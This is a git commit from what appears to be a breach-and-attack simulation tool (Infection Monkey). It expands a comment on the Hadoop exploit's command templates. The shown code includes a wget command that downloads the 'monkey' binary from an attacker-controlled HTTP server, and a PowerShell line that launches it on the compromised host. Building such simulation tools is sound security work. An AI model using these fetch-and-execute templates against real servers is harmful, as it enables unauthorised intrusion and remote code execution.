Agent: Increase detail of HADOOP_LINUX_COMMAND comment

This commit is contained in:
Mike Salvatore 2022-03-07 12:35:52 -05:00
parent c802f21756
commit c886daba8a
1 changed files with 12 additions and 4 deletions

View File

@ -52,10 +52,18 @@ HADOOP_WINDOWS_COMMAND = (
" if (! (ps | ? {$_.path -eq '%(monkey_path)s'})) "
'{& %(monkey_path)s %(monkey_type)s %(parameters)s } "'
)
# The hadoop server may request another monkey executable
# which results with a zero-size file which needs to be removed,
# this can lead to a race condition when the command is run twice
# so we are adding a 5 seconds sleep to prevent that
# The hadoop server may request another monkey executable after the attacker's HTTP server has shut
# down. This will result in wget creating a zero-length file, which needs to be removed. Using the
# `--no-clobber` option prevents two simultaneously running wget commands from interfering with
# eachother (one will fail and the other will succeed).
#
# If wget creates a zero-length file (because it was unable to contact the attacker's HTTP server),
# it needs to remove the file. It sleeps to minimize the risk that the file was created by another
# concurrently running wget and then removes the file if it is still zero-length after the sleep.
#
# This doesn't eleminate all race conditions, but should be good enough (in the short term) for all
# practical purposes. In the future, using randomized names for the monkey binary (which is a good
# practice anyway) would eleminate most of these issues.
HADOOP_LINUX_COMMAND = (
"wget --no-clobber -O %(monkey_path)s %(http_path)s "
"|| sleep 5 && ( ( ! [ -s %(monkey_path)s ] ) && rm %(monkey_path)s ) "